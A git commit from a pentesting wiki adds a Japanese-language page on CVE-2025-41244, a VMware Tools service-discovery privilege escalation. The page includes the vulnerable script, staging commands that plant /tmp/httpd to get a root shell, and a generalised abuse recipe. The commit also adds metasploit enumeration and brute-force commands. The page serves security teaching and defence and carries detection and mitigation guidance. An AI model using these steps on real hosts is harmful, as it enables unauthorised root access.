Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi

This commit is contained in:
Translator 2025-10-01 10:26:00 +00:00
parent 20f3fc9370
commit 5feaaddca7
4 changed files with 503 additions and 304 deletions

View File

@ -110,6 +110,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,146 @@
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
{{#include ../../banners/hacktricks-training.md}}
この手法は、実行中のプロセスのコマンドラインを解析してサービスのバージョンを推定し、候補バイナリを "version" フラグ付きで実行する、regex駆動の service discovery パイプラインを悪用します。許容度の高いパターンが信頼できない攻撃者制御のパス(例: /tmp/httpdを受け入れると、特権を持つコレクタが信頼できない場所から任意のバイナリを実行し、Local privilege escalation を引き起こします。NVISO はこれを VMware Tools/Aria Operations Service Discovery の CVE-2025-41244 として文書化しました。
- 影響: Local privilege escalation による rootまたは特権付き discovery アカウント)への昇格
- 根本原因: Untrusted Search Path (CWE-426) + process command lines に対する permissive regex マッチング
- 影響対象: open-vm-tools/VMware Tools on Linux (credential-less discovery)、VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
## VMware service discovery の仕組み(高レベル)
- Credential-based (legacy): Aria は設定された特権資格情報を使用して VMware Tools 経由でゲスト内部で discovery スクリプトを実行します。
- Credential-less (modern): Discovery ロジックはゲスト内で既に特権を持つ VMware Tools 内で動作します。
どちらのモードも最終的にはシェルロジックを実行し、listening sockets を持つプロセスをスキャンし、regex によって一致するコマンドパスを抽出し、最初の argv トークンを version フラグ付きで実行します。
## Root cause and vulnerable pattern (open-vm-tools)
open-vm-tools では、serviceDiscovery プラグインスクリプト get-versions.sh が広範な正規表現を用いて候補バイナリをマッチさせ、trusted-path 検証なしに最初のトークンを実行します:
```bash
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
```
これは、\S (non-whitespace) を含む寛容なパターンで呼び出され、ユーザーが書き込み可能な場所の非システムパスにも容易に一致します:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- 抽出は grep -Eo を使用し、最初のトークンを取得します: ${COMMAND%%[[:space:]]*}
- 信頼済みシステムパスの whitelist/allowlist がなく、マッチする名前を持つ発見された listener は -v/--version で実行されます
これにより untrusted search path execution primitive が作成されます: world-writable ディレクトリ(例: /tmp/httpdにある任意のバイナリが特権コンポーネントによって実行されます。
## Exploitation (both credential-less and credential-based modes)
前提条件
- ゲスト上でリスニングソケットを開く unprivileged プロセスを実行できる。
- discovery job が有効で、定期的に実行される歴史的には約5分間隔
手順
1) 許容的な正規表現にマッチするパス(例: /tmp/httpd や ./nginxにバイナリを配置する
2) 低権限ユーザとして実行し、いずれかのリスニングソケットを開くことを確認する
3) discovery サイクルを待つ; privileged collector が自動的に次のように実行する: /tmp/httpd -vまたは同様、あなたのプログラムが root として実行される
最小デモNVISO のアプローチを使用)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
典型的なプロセスの系譜
- 資格情報あり: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- 資格情報なし: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
アーティファクト(資格情報あり)
回収された SDMP ラッパースクリプトが /tmp/VMware-SDMP-Scripts-{UUID}/ 配下にあり、不正なパスが直接実行されていることを示す場合があります:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
多くのエージェントや監視スイートは、バージョン/サービス検出を次の方法で実装している:
- リッスンソケットを持つプロセスを列挙する
- argv/command lines を寛容な regexes で grep する(例: パターンに \S を含む)
- マッチしたパスを -v, --version, -V, -h のような無害なフラグで実行する
もし regex が信頼できないパスを受け入れ、かつそのパスが特権コンテキストから実行されると、CWE-426 Untrusted Search Path 実行につながる。
Abuse recipe
- バイナリ名を、regex がマッチしやすい一般的なデーモン名にする: httpd, nginx, mysqld, dataserver
- 書き込み可能なディレクトリに配置する: /tmp/httpd, ./nginx
- regex にマッチし、列挙される任意のポートを開くようにする
- スケジュールされたコレクタを待つと、<path> -v の自動的な特権呼び出しが得られる
Masquerading note: これは MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) と整合し、マッチ確率とステルス性を高める。
Reusable privileged I/O relay trick
- ヘルパーを構築して、特権呼び出し時(-v/--versionに既知のランデブー例: Linux の abstract UNIX socket の @cveへ接続し、stdio を /bin/sh -i にブリッジするようにする。これによりディスク上のアーティファクトを避けられ、同じバイナリがフラグ付きで再呼び出しされる多くの環境で動作する。
## Detection and DFIR guidance
Hunting queries
- vmtoolsd や get-versions.sh の異常な子プロセス(例: /tmp/httpd, ./nginx, /tmp/mysqld
- discovery スクリプトによる非システム絶対パスの実行(${COMMAND%%...} 展開でスペースを探す)
- ps -ef --forest で系譜ツリーを可視化: vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based)
- /tmp/VMware-SDMP-Scripts-{UUID}/ を調査し、攻撃者パスの実行を示す一時スクリプトや stdout/stderr のアーティファクトを確認する
Policy/telemetry
- 特権コレクタが非システム接頭辞から実行された場合にアラート: ^/(tmp|home|var/tmp|dev/shm)/
- get-versions.sh と VMware Tools プラグインのファイル整合性監視
## Mitigations
- Patch: CVE-2025-41244Tools および Aria Operations SDMPに対する Broadcom/VMware のアップデートを適用する
- credential-less な discovery を無効化または制限する(可能な場合)
- 信頼できるパスを検証する: 実行を許可リスト化されたディレクトリに制限する(/usr/sbin, /usr/bin, /sbin, /binと既知の正確なバイナリのみを許可する
- \S を含む寛容な regexes を避ける; アンカー付きで明示的な絶対パスや正確なコマンド名を優先する
- discovery ヘルパーの特権を落とす(可能であれば); 影響を減らすために sandbox (seccomp/AppArmor) を適用する
- vmtoolsd/get-versions.sh が非システムパスを実行する場合は監視・アラートを出す
## Notes for defenders and implementers
Safer matching and execution pattern
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
```
## 参考文献
- [NVISO あなたが名付けたものは何でも、VMwareが昇格させる (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [CVE-2025-41244 に関する Broadcom のアドバイザリ](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 正当な名前または場所に一致させる](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: 信頼できない検索パス](https://cwe.mitre.org/data/definitions/426.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,26 @@
# VMware ESX / vCenter Pentesting
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# 列挙 ## 列挙
```bash ```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP> nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
``` ```
# ブルートフォース ## Bruteforce
```bash ```bash
msf> auxiliary/scanner/vmware/vmware_http_login msf> auxiliary/scanner/vmware/vmware_http_login
``` ```
有効な資格情報を見つけた場合、より多くのmetasploitスキャナーモジュールを使用して情報を取得できます。 有効な認証情報を見つけた場合、さらに多くの metasploit scanner modules を使用して情報を取得できます。
### 参照
VMware Tools service discovery を介した Linux LPE (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}